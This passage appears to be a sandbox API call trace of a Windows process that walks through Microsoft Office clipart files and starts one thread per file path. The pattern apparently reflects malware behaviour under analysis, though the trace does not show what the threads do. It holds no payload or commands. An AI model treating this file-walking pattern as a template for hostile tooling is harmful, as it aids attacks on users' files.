ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0090.979] wcscmp (_String1="BD09031_.WMF", _String2=".") returned 1 [0090.979] wcscmp (_String1="BD09031_.WMF", _String2="..") returned 1 [0090.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cd50 [0090.979] wcscpy (in: _Dest=0x1cf4cd50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.979] wcscat (in: _Dest=0x1cf4cd50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.979] wcscat (in: _Dest=0x1cf4cd50, _Source="BD09031_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" [0090.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0 [0090.980] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0090.980] wcscmp (_String1="BD09194_.WMF", _String2=".") returned 1 [0090.980] wcscmp (_String1="BD09194_.WMF", _String2="..") returned 1 [0090.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cde0 [0090.980] wcscpy (in: _Dest=0x1cf4cde0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.980] wcscat (in: _Dest=0x1cf4cde0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.980] wcscat (in: _Dest=0x1cf4cde0, _Source="BD09194_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" [0090.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4 [0090.981] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0090.981] wcscmp (_String1="BD09662_.WMF", _String2=".") returned 1 [0090.981] wcscmp (_String1="BD09662_.WMF", _String2="..") returned 1 [0090.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ce70 [0090.981] wcscpy (in: _Dest=0x1cf4ce70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.981] wcscat (in: _Dest=0x1cf4ce70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.981] wcscat (in: _Dest=0x1cf4ce70, _Source="BD09662_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" [0090.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd8 [0090.981] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0090.981] wcscmp (_String1="BD09664_.WMF", _String2=".") returned 1 [0090.981] wcscmp (_String1="BD09664_.WMF", _String2="..") returned 1 [0090.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cf00 [0090.982] wcscpy (in: _Dest=0x1cf4cf00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.982] wcscat (in: _Dest=0x1cf4cf00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.982] wcscat (in: _Dest=0x1cf4cf00, _Source="BD09664_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" [0090.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cf00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc [0090.982] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0090.982] wcscmp (_String1="BD10890_.GIF", _String2=".") returned 1 [0090.983] wcscmp (_String1="BD10890_.GIF", _String2="..") returned 1 [0090.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cf90 [0090.983] wcscpy (in: _Dest=0x1cf4cf90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.983] wcscat (in: _Dest=0x1cf4cf90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.983] wcscat (in: _Dest=0x1cf4cf90, _Source="BD10890_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" [0090.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce0 [0090.983] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0090.983] wcscmp (_String1="BD10972_.GIF", _String2=".") returned 1 [0090.983] wcscmp (_String1="BD10972_.GIF", _String2="..") returned 1 [0090.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d020 [0090.984] wcscpy (in: _Dest=0x1cf4d020, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.984] wcscat (in: _Dest=0x1cf4d020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.984] wcscat (in: _Dest=0x1cf4d020, _Source="BD10972_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" [0090.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce4 [0090.984] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0090.984] wcscmp (_String1="BD19563_.GIF", _String2=".") returned 1 [0090.984] wcscmp (_String1="BD19563_.GIF", _String2="..") returned 1 [0090.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d0b0 [0090.984] wcscpy (in: _Dest=0x1cf4d0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.984] wcscat (in: _Dest=0x1cf4d0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.984] wcscat (in: _Dest=0x1cf4d0b0, _Source="BD19563_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" [0090.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce8 [0090.985] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0090.985] wcscmp (_String1="BD19582_.GIF", _String2=".") returned 1 [0090.985] wcscmp (_String1="BD19582_.GIF", _String2="..") returned 1 [0090.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d140 [0090.985] wcscpy (in: _Dest=0x1cf4d140, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.985] wcscat (in: _Dest=0x1cf4d140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.985] wcscat (in: _Dest=0x1cf4d140, _Source="BD19582_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" [0090.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcec [0090.986] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0090.986] wcscmp (_String1="BD19695_.WMF", _String2=".") returned 1 [0090.986] wcscmp (_String1="BD19695_.WMF", _String2="..") returned 1 [0090.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d1d0 [0090.986] wcscpy (in: _Dest=0x1cf4d1d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.986] wcscat (in: _Dest=0x1cf4d1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.986] wcscat (in: _Dest=0x1cf4d1d0, _Source="BD19695_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" [0090.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf0 [0090.987] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0090.987] wcscmp (_String1="BD19827_.WMF", _String2=".") returned 1 [0090.987] wcscmp (_String1="BD19827_.WMF", _String2="..") returned 1 [0090.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d260 [0090.987] wcscpy (in: _Dest=0x1cf4d260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.987] wcscat (in: _Dest=0x1cf4d260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.987] wcscat (in: _Dest=0x1cf4d260, _Source="BD19827_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" [0090.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4 [0090.988] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0090.988] wcscmp (_String1="BD19828_.WMF", _String2=".") returned 1 [0090.988] wcscmp (_String1="BD19828_.WMF", _String2="..") returned 1 [0090.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d2f0 [0090.988] wcscpy (in: _Dest=0x1cf4d2f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.988] wcscat (in: _Dest=0x1cf4d2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.988] wcscat (in: _Dest=0x1cf4d2f0, _Source="BD19828_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" [0090.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf8 [0098.421] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0098.422] wcscmp (_String1="BD19986_.WMF", _String2=".") returned 1 [0098.422] wcscmp (_String1="BD19986_.WMF", _String2="..") returned 1 [0098.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202af340 [0098.422] wcscpy (in: _Dest=0x202af340, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0098.422] wcscat (in: _Dest=0x202af340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0098.423] wcscat (in: _Dest=0x202af340, _Source="BD19986_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" [0120.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0120.260] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0120.264] wcscmp (_String1="BD19988_.WMF", _String2=".") returned 1 [0120.264] wcscmp (_String1="BD19988_.WMF", _String2="..") returned 1 [0120.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202afa00 [0120.265] wcscpy (in: _Dest=0x202afa00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.265] wcscat (in: _Dest=0x202afa00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.265] wcscat (in: _Dest=0x202afa00, _Source="BD19988_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" [0120.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afa00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320 [0120.266] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0120.266] wcscmp (_String1="BD20013_.WMF", _String2=".") returned 1 [0120.266] wcscmp (_String1="BD20013_.WMF", _String2="..") returned 1 [0120.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202aff10 [0120.266] wcscpy (in: _Dest=0x202aff10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.266] wcscat (in: _Dest=0x202aff10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.266] wcscat (in: _Dest=0x202aff10, _Source="BD20013_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" [0120.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aff10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x131c [0120.267] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0120.267] wcscmp (_String1="BL00008_.WMF", _String2=".") returned 1 [0120.267] wcscmp (_String1="BL00008_.WMF", _String2="..") returned 1 [0120.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202affa0 [0120.267] wcscpy (in: _Dest=0x202affa0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.267] wcscat (in: _Dest=0x202affa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.267] wcscat (in: _Dest=0x202affa0, _Source="BL00008_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" [0120.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202affa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcfc [0120.269] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0120.269] wcscmp (_String1="BL00012_.WMF", _String2=".") returned 1 [0120.269] wcscmp (_String1="BL00012_.WMF", _String2="..") returned 1 [0120.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509720 [0120.269] wcscpy (in: _Dest=0x20509720, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.269] wcscat 